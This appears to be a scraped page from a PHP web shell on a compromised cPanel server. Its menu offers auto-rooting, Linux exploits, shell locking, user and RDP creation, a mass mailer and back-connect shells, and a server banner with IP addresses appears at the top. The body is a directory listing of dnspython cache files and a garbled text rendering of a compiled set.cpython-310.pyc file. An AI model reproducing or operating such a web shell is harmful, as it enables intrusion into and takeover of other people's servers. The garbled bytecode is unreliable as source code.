Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.214.79
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
dns /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
625
B
-rw-r--r--
_asyncbackend.cpython-310.pyc
2.66
KB
-rw-r--r--
_asyncio_backend.cpython-310.p...
5.03
KB
-rw-r--r--
_curio_backend.cpython-310.pyc
3.72
KB
-rw-r--r--
_immutable_attr.cpython-310.py...
2.1
KB
-rw-r--r--
_immutable_ctx.cpython-310.pyc
2.1
KB
-rw-r--r--
_trio_backend.cpython-310.pyc
4
KB
-rw-r--r--
asyncbackend.cpython-310.pyc
2.58
KB
-rw-r--r--
asyncquery.cpython-310.pyc
11.21
KB
-rw-r--r--
asyncresolver.cpython-310.pyc
5.76
KB
-rw-r--r--
dnssec.cpython-310.pyc
14.21
KB
-rw-r--r--
e164.cpython-310.pyc
3.08
KB
-rw-r--r--
edns.cpython-310.pyc
9.56
KB
-rw-r--r--
entropy.cpython-310.pyc
3.11
KB
-rw-r--r--
enum.cpython-310.pyc
2.33
KB
-rw-r--r--
exception.cpython-310.pyc
4.56
KB
-rw-r--r--
flags.cpython-310.pyc
1.97
KB
-rw-r--r--
grange.cpython-310.pyc
1.02
KB
-rw-r--r--
immutable.cpython-310.pyc
2.27
KB
-rw-r--r--
inet.cpython-310.pyc
3.51
KB
-rw-r--r--
ipv4.cpython-310.pyc
1.29
KB
-rw-r--r--
ipv6.cpython-310.pyc
3.22
KB
-rw-r--r--
message.cpython-310.pyc
40.47
KB
-rw-r--r--
name.cpython-310.pyc
27.34
KB
-rw-r--r--
namedict.cpython-310.pyc
2.92
KB
-rw-r--r--
node.cpython-310.pyc
5.72
KB
-rw-r--r--
opcode.cpython-310.pyc
2.31
KB
-rw-r--r--
query.cpython-310.pyc
29.35
KB
-rw-r--r--
rcode.cpython-310.pyc
2.97
KB
-rw-r--r--
rdata.cpython-310.pyc
19.92
KB
-rw-r--r--
rdataclass.cpython-310.pyc
2.59
KB
-rw-r--r--
rdataset.cpython-310.pyc
13.65
KB
-rw-r--r--
rdatatype.cpython-310.pyc
5.84
KB
-rw-r--r--
renderer.cpython-310.pyc
7.44
KB
-rw-r--r--
resolver.cpython-310.pyc
40.67
KB
-rw-r--r--
reversename.cpython-310.pyc
2.86
KB
-rw-r--r--
rrset.cpython-310.pyc
6.64
KB
-rw-r--r--
serial.cpython-310.pyc
2.76
KB
-rw-r--r--
set.cpython-310.pyc
7.49
KB
-rw-r--r--
tokenizer.cpython-310.pyc
15.77
KB
-rw-r--r--
transaction.cpython-310.pyc
14.24
KB
-rw-r--r--
tsig.cpython-310.pyc
9.86
KB
-rw-r--r--
tsigkeyring.cpython-310.pyc
1.6
KB
-rw-r--r--
ttl.cpython-310.pyc
1.53
KB
-rw-r--r--
update.cpython-310.pyc
8.01
KB
-rw-r--r--
version.cpython-310.pyc
542
B
-rw-r--r--
versioned.cpython-310.pyc
14.06
KB
-rw-r--r--
wire.cpython-310.pyc
2.91
KB
-rw-r--r--
xfr.cpython-310.pyc
6.18
KB
-rw-r--r--
zone.cpython-310.pyc
31.1
KB
-rw-r--r--
zonefile.cpython-310.pyc
6.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : set.cpython-310.pyc
o x7�_� � @ s> d dl Z d dlZejdkreZnd dlmZ G dd� d�ZdS )� N)� � )� OrderedDictc @ s e Zd ZdZdgZdDdd�Zdd� Zdd � Zd d � Zd d � Z dd� Z dd� Z dd� Z dd� Z dd� Zdd� Zdd� Zd d � Zd d � Zd d!� Zd"d#� Zd$d%� Zd&d'� Zd(d)� Zd*d+� Zd,d-� Zd.d/� Zd0d1� Zd2d3� Z d4d5� Z d6d7� Z d8d9� Z d:d;� Z d<d=� Z!d>d?� Z"d@dA� Z#dBdC� Z$dS )E�Seta! A simple set class. This class was originally used to deal with sets being missing in ancient versions of python, but dnspython will continue to use it as these sets are based on lists and are thus indexable, and this ability is widely used in dnspython applications. �itemsNc C s, t � | _|dur|D ] }| �|� q dS dS )zaInitialize the set. *items*, an iterable or ``None``, the initial set of items. N)�odictr �add)�selfr �item� r �)/usr/lib/python3/dist-packages/dns/set.py�__init__& s �z Set.__init__c C s dt t| j�� �� S )Nzdns.set.Set(%s))�repr�listr �keys�r r r r �__repr__1 s z Set.__repr__c C s || j vr d| j |< dS dS )z Add an item to the set. N�r �r r r r r r 4 s �zSet.addc C s" z| j |= W dS ty t�w )z%Remove an item from the set. N)r �KeyError� ValueErrorr r r r �remove; s �z Set.removec C s | j �|d� dS )z0Remove an item from the set if present. N)r �popr r r r �discardD s z Set.discardc C s< t | d�r | j}n| j}|�|�}t� |_|j�| j� |S )a� Make a (shallow) copy of the set. There is a 'clone protocol' that subclasses of this class should use. To make a copy, first call your super's _clone() method, and use the object returned as the new instance. Then make shallow copies of the attributes defined in the subclass. This protocol allows us to write the set algorithms that return new instances (e.g. union) once, and keep using them in subclasses. � _clone_class)�hasattrr � __class__�__new__r r �update)r �cls�objr r r �_cloneJ s z Set._clonec C � | � � S �z*Make a (shallow) copy of the set. �r! r r r r �__copy__` � z Set.__copy__c C r" r# r$ r r r r �copyf r& zSet.copyc C s8 t |t�s td��| |u rdS |jD ]}| �|� qdS )zaUpdate the set, adding any elements from other which are not already in the set. � other must be a Set instanceN)� isinstancer r r r �r �otherr r r r � union_updatel s �zSet.union_updatec C sD t |t�s td��| |u rdS t| j�D ] }||jvr | j|= qdS )z]Update the set, removing any elements from other which are not in both sets. r( N)r) r r r r r* r r r �intersection_updatex s ��zSet.intersection_updatec C sB t |t�s td��| |u r| j�� dS |jD ]}| �|� qdS )zWUpdate the set, removing any elements from other which are in the set. r( N)r) r r r �clearr r* r r r �difference_update� s �zSet.difference_updatec C � | � � }|�|� |S )zwReturn a new set which is the union of ``self`` and ``other``. Returns the same Set type as this set. )r! r, �r r+ r r r r �union� s z Set.unionc C r0 )z�Return a new set which is the intersection of ``self`` and ``other``. Returns the same Set type as this set. )r! r- r1 r r r � intersection� � zSet.intersectionc C r0 )z�Return a new set which ``self`` - ``other``, i.e. the items in ``self`` which are not also in ``other``. Returns the same Set type as this set. )r! r/ r1 r r r � difference� r4 zSet.differencec C � | � |�S �N�r2 �r r+ r r r �__or__� � z Set.__or__c C r6 r7 )r3 r9 r r r �__and__� r; z Set.__and__c C r6 r7 r8 r9 r r r �__add__� r; z Set.__add__c C r6 r7 )r5 r9 r r r �__sub__� r; z Set.__sub__c C � | � |� | S r7 �r, r9 r r r �__ior__� � z Set.__ior__c C r? r7 )r- r9 r r r �__iand__� rB z Set.__iand__c C r? r7 r@ r9 r r r �__iadd__� rB z Set.__iadd__c C r? r7 )r/ r9 r r r �__isub__� rB z Set.__isub__c C s |D ]}| � |� qdS )z�Update the set, adding any elements from other which are not already in the set. *other*, the collection of items with which to update the set, which may be any iterable type. N)r r* r r r r � s �z Set.updatec C s | j �� dS )zMake the set empty.N)r r. r r r r r. � s z Set.clearc sD t tkr | j� jkS t| j�t� j�krdS t� fdd�| jD ��S )NFc 3 s � | ]}|� j v V qd S r7 r )�.0�elt�r+ r r � <genexpr>� s � z Set.__eq__.<locals>.<genexpr>)r �dictr �len�allr9 r rH r �__eq__� s z Set.__eq__c C s | � |� S r7 )rM r9 r r r �__ne__� s z Set.__ne__c C � t | j�S r7 )rK r r r r r �__len__� r; z Set.__len__c C rO r7 )�iterr r r r r �__iter__� r; z Set.__iter__c C s> t |t�rtt�| j|j|j|j��S t t�| j||d ��S )N� ) r) �slicer � itertools�islicer �start�stop�step�next)r �ir r r � __getitem__� s zSet.__getitem__c C s8 t |t�rt| | �D ]}| j|= q d S | j| | = d S r7 )r) rT r r )r r[ rG r r r � __delitem__� s �zSet.__delitem__c C s2 t |t�s td��| jD ] }||jvr dS q dS )zFIs this set a subset of *other*? Returns a ``bool``. r( FT�r) r r r r* r r r �issubset� � �z Set.issubsetc C s2 t |t�s td��|jD ] }|| jvr dS q dS )zHIs this set a superset of *other*? Returns a ``bool``. r( FTr^ r* r r r � issuperset r` zSet.issupersetr7 )%�__name__� __module__� __qualname__�__doc__� __slots__r r r r r r! r% r' r, r- r/ r2 r3 r5 r: r< r= r> rA rC rD rE r r. rM rN rP rR r\ r] r_ ra r r r r r sF r )rU �sys� version_inforJ r � collectionsr r r r r r �<module> s
Close
